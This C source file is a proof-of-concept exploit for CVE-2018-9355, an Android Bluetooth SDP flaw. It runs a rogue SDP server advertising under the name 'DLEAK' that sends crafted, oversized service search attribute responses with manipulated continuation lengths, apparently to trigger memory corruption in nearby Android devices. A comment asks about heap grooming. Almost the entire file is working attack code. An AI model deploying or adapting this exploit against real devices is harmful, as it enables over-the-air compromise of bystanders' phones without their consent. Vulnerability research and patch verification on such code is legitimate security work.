/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
/** CVE-2018-9355
* https://source.android.com/security/bulletin/2018-06-01
*/
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <pthread.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/sdp.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#define EIR_FLAGS 0x01 /* flags */
#define EIR_NAME_COMPLETE 0x09 /* complete local name */
#define EIR_LIM_DISC 0x01 /* LE Limited Discoverable Mode */
#define EIR_GEN_DISC 0x02 /* LE General Discoverable Mode */
#define DATA_ELE_SEQ_DESC_TYPE 6
#define UINT_DESC_TYPE 1
#define SIZE_SIXTEEN_BYTES 4
#define SIZE_EIGHT_BYTES 3
#define SIZE_FOUR_BYTES 2
#define SIZE_TWO_BYTES 1
#define SIZE_ONE_BYTE 0
#define SIZE_IN_NEXT_WORD 6
#define TWO_COMP_INT_DESC_TYPE 2
#define UUID_DESC_TYPE 3
#define ATTR_ID_SERVICE_ID 0x0003
static int count = 0;
static int do_continuation;
static int init_server(uint16_t mtu)
{
struct l2cap_options opts;
struct sockaddr_l2 l2addr;
socklen_t optlen;
int l2cap_sock;
/* Create L2CAP socket */
l2cap_sock = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if (l2cap_sock < 0) {
printf("opening L2CAP socket: %s", strerror(errno));
return -1;
}
memset(&l2addr, 0, sizeof(l2addr));
l2addr.l2_family = AF_BLUETOOTH;
bacpy(&l2addr.l2_bdaddr, BDADDR_ANY);
l2addr.l2_psm = htobs(SDP_PSM);
if (bind(l2cap_sock, (struct sockaddr *) &l2addr, sizeof(l2addr)) < 0) {
printf("binding L2CAP socket: %s", strerror(errno));
return -1;
}
int opt = L2CAP_LM_MASTER;
if (setsockopt(l2cap_sock, SOL_L2CAP, L2CAP_LM, &opt, sizeof(opt)) < 0) {
printf("setsockopt: %s", strerror(errno));
return -1;
}
memset(&opts, 0, sizeof(opts));
optlen = sizeof(opts);
if (getsockopt(l2cap_sock, SOL_L2CAP, L2CAP_OPTIONS, &opts, &optlen) < 0) {
printf("getsockopt: %s", strerror(errno));
return -1;
}
opts.omtu = mtu;
opts.imtu = mtu;
if (setsockopt(l2cap_sock, SOL_L2CAP, L2CAP_OPTIONS, &opts, sizeof(opts)) < 0) {
printf("setsockopt: %s", strerror(errno));
return -1;
}
if (listen(l2cap_sock, 5) < 0) {
printf("listen: %s", strerror(errno));
return -1;
}
return l2cap_sock;
}
static int process_service_search_req(uint8_t *pkt)
{
uint8_t *start = pkt;
uint8_t *lenloc = pkt;
/* Total Handles */
bt_put_be16(400, pkt); pkt += 2;
bt_put_be16(400, pkt); pkt += 2;
/* and that's it! */
/* TODO: Can we do some heap grooming to make sure we don't get a continuation? */
//bt_put_be16((pkt - start) - 2, lenloc);
return pkt - start;
}
static uint8_t *place_uid(uint8_t *pkt, int o)
{
int i;
for (i = 0; i < 16; i++)
*pkt++ = 0x16 + (i + o);
return pkt;
}
static size_t flood_u128s(uint8_t *pkt)
{
int i;
uint8_t *start = pkt;
uint8_t *lenloc = pkt;
size_t retsize = 0;
bt_put_be16(9, pkt);pkt += 2;
if (do_continuation == 1) {
*pkt = DATA_ELE_SEQ_DESC_TYPE << 3;
*pkt |= SIZE_IN_NEXT_WORD;
pkt++;
start = pkt;
pkt += 2;
}
//*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
//pkt++;
for (i = 0; i < 31; i++) {
*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;
*pkt = (UINT_DESC_TYPE << 3) | SIZE_TWO_BYTES;;
pkt++;
/* Attr ID */
bt_put_be16(ATTR_ID_SERVICE_ID, pkt); pkt += 2;
*pkt = (UUID_DESC_TYPE << 3) | SIZE_SIXTEEN_BYTES;
pkt++;
pkt = place_uid(pkt, i);
}
/* Set the continuation */
if (do_continuation) {
bt_put_be16(654, lenloc);
bt_put_be16(651 * 2, start);
*pkt = 1;
retsize = 658;
}
else {
bt_put_be16(651, lenloc);
//bt_put_be16(648, start);
*pkt = 0;
retsize = 654;
}
// bt_put_be16((pkt - lenloc) + 10, lenloc);
// bt_put_be16((pkt - start) + 10, start);
printf("%s: size is pkt - lenloc %zu and pkt is 0x%02x\n", __func__, pkt - lenloc, *pkt);
pkt++;
return retsize;
}
static size_t do_fake_svcsar(uint8_t *pkt)
{
int i;
uint8_t *start = pkt;
uint8_t *lenloc = pkt;
/* Id and length -- ignored in the code */
//bt_put_be16(0, pkt);pkt += 2;
//bt_put_be16(0xABCD, pkt);pkt += 2;
/* list byte count */
bt_put_be16(9, pkt);pkt += 2;
*pkt = DATA_ELE_SEQ_DESC_TYPE << 3;
*pkt |= SIZE_EIGHT_BYTES;
pkt++;
*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;
*pkt = (UINT_DESC_TYPE << 3) | SIZE_TWO_BYTES;;
pkt++;
/* Attr ID */
bt_put_be16(0x0100, pkt); pkt += 2;
*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;
*pkt = (DATA_ELE_SEQ_DESC_TYPE << 3) | SIZE_TWO_BYTES;
pkt++;
/* Set the continuation */
if (do_continuation)
*pkt = 1;
else
*pkt = 1;
pkt++;
/* Place the size... */
//bt_put_be16((pkt - start) - 2, lenloc);
printf("%zu\n", pkt-start);
return (size_t) (pkt - start);
}
static void process_request(uint8_t *buf, int fd)
{
sdp_pdu_hdr_t *reqhdr = (sdp_pdu_hdr_t *) buf;
sdp_pdu_hdr_t *rsphdr;
uint8_t *rsp = malloc(65535);
int status = SDP_INVALID_SYNTAX;
int send_size = 0;
memset(rsp, 0, 65535);
rsphdr = (sdp_pdu_hdr_t *)rsp;
rsphdr->tid = reqhdr->tid;
switch (reqhdr->pdu_id) {
case SDP_SVC_SEARCH_REQ:
printf("Got a svc srch req\n");
send_size = process_service_search_req(rsp + sizeof(sdp_pdu_hdr_t));
rsphdr->pdu_id = SDP_SVC_SEARCH_RSP;
rsphdr->plen = htons(send_size);
break;
case SDP_SVC_ATTR_REQ:
printf("Got a svc attr req\n");
//status = service_attr_req(req, &rsp);
rsphdr->pdu_id = SDP_SVC_ATTR_RSP;
break;
case SDP_SVC_SEARCH_ATTR_REQ:
printf("Got a svc srch attr req\n");
//status = service_search_attr_req(req, &rsp);
rsphdr->pdu_id = SDP_SVC_SEARCH_ATTR_RSP;
send_size = flood_u128s(rsp + sizeof(sdp_pdu_hdr_t));
//do_fake_svcsar(rsp + sizeof(sdp_pdu_hdr_t)) + 3;
rsphdr->plen = htons(send_size);
break;
default:
printf("Unknown PDU ID : 0x%x received", reqhdr->pdu_id);
status = SDP_INVALID_SYNTAX;
break;
}
printf("%s: sending %zu\n", __func__, send_size + sizeof(sdp_pdu_hdr_t));
send(fd, rsp, send_size + sizeof(sdp_pdu_hdr_t), 0);
free(rsp);
}
static void *l2cap_data_thread(void *input)
{
int fd = *(int *)input;
sdp_pdu_hdr_t hdr;
uint8_t *buf;
int len, size;
while (true) {
len = recv(fd, &hdr, sizeof(sdp_pdu_hdr_t), MSG_PEEK);
if (len < 0 || (unsigned int) len < sizeof(sdp_pdu_hdr_t)) {
continue;
}
size = sizeof(sdp_pdu_hdr_t) + ntohs(hdr.plen);
buf = malloc(size);
if (!buf)
continue;
printf("%s: trying to recv %d\n", __func__, size);
len = recv(fd, buf, size, 0);
if (len <= 0) {
free(buf);
continue;
}
if (!count) {
process_request(buf, fd);
count ++;
}
if (count >= 1) {
do_continuation = 0;
process_request(buf, fd);
count++;
}
free(buf);
}
}
/* derived from hciconfig.c */
static void *advertiser(void *unused)
{
uint8_t status;
int device_id, handle;
struct hci_request req = { 0 };
le_set_advertise_enable_cp acp = { 0 };
le_set_advertising_parameters_cp avc = { 0 };
le_set_advertising_data_cp data = { 0 };
device_id = hci_get_route(NULL);
if (device_id < 0) {
printf("%s: Failed to get route: %s\n", __func__, strerror(errno));
return NULL;
}
handle = hci_open_dev(hci_get_route(NULL));
if (handle < 0) {
printf("%s: Failed to open and aquire handle: %s\n", __func__, strerror(errno));
return NULL;
}
avc.min_interval = avc.max_interval = htobs(150);
avc.chan_map = 7;
req.ogf = OGF_LE_CTL;
req.ocf = OCF_LE_SET_ADVERTISING_PARAMETERS;
req.cparam = &avc;
req.clen = LE_SET_ADVERTISING_PARAMETERS_CP_SIZE;
req.rparam = &status;
req.rlen = 1;
if (hci_send_req(handle, &req, 1000) < 0) {
hci_close_dev(handle);
printf("%s: Failed to send request %s\n", __func__, strerror(errno));
return NULL;
}
memset(&req, 0, sizeof(req));
req.ogf = OGF_LE_CTL;
req.ocf = OCF_LE_SET_ADVERTISE_ENABLE;
req.cparam = &acp;
req.clen = LE_SET_ADVERTISE_ENABLE_CP_SIZE;
req.rparam = &status;
req.rlen = 1;
data.data[0] = htobs(2);
data.data[1] = htobs(EIR_FLAGS);
data.data[2] = htobs(EIR_GEN_DISC | EIR_LIM_DISC);
data.data[3] = htobs(6);
data.data[4] = htobs(EIR_NAME_COMPLETE);
data.data[5] = 'D';
data.data[6] = 'L';
data.data[7] = 'E';
data.data[8] = 'A';
data.data[9] = 'K';
data.length = 10;
memset(&req, 0, sizeof(req));
req.ogf = OGF_LE_CTL;
req.ocf = OCF_LE_SET_ADVERTISING_DATA;
req.cparam = &data;
req.clen = LE_SET_ADVERTISING_DATA_CP_SIZE;
req.rparam = &status;
req.rlen = 1;
if (hci_send_req(handle, &req, 1000) < 0) {
hci_close_dev(handle);
printf("%s: Failed to send request %s\n", __func__, strerror(errno));
return NULL;
}
printf("Device should be advertising under DLEAK\n");
}
int main(int argc, char **argv)
{
pthread_t *io_channel;
pthread_t adv;
int fds[16];
const int io_chans = 16;
struct sockaddr_l2 addr;
socklen_t qlen = sizeof(addr);
socklen_t len = sizeof(addr);
int l2cap_sock;
int i;
pthread_create(&adv, NULL, advertiser, NULL);
l2cap_sock = init_server(652);
if (l2cap_sock < 0)
return EXIT_FAILURE;
io_channel = malloc(io_chans * sizeof(*io_channel));
if (!io_channel)
return EXIT_FAILURE;
do_continuation = 1;
for (i = 0; i < io_chans; i++) {
printf("%s: Going to accept on io chan %d\n", __func__, i);
fds[i] = accept(l2cap_sock, (struct sockaddr *) &addr, &len);
if (fds[i] < 0) {
i--;
printf("%s: Accept failed with %s\n", __func__, strerror(errno));
continue;
}
printf("%s: accepted\n", __func__);
pthread_create(&io_channel[i], NULL, l2cap_data_thread, &fds[i]);
}
}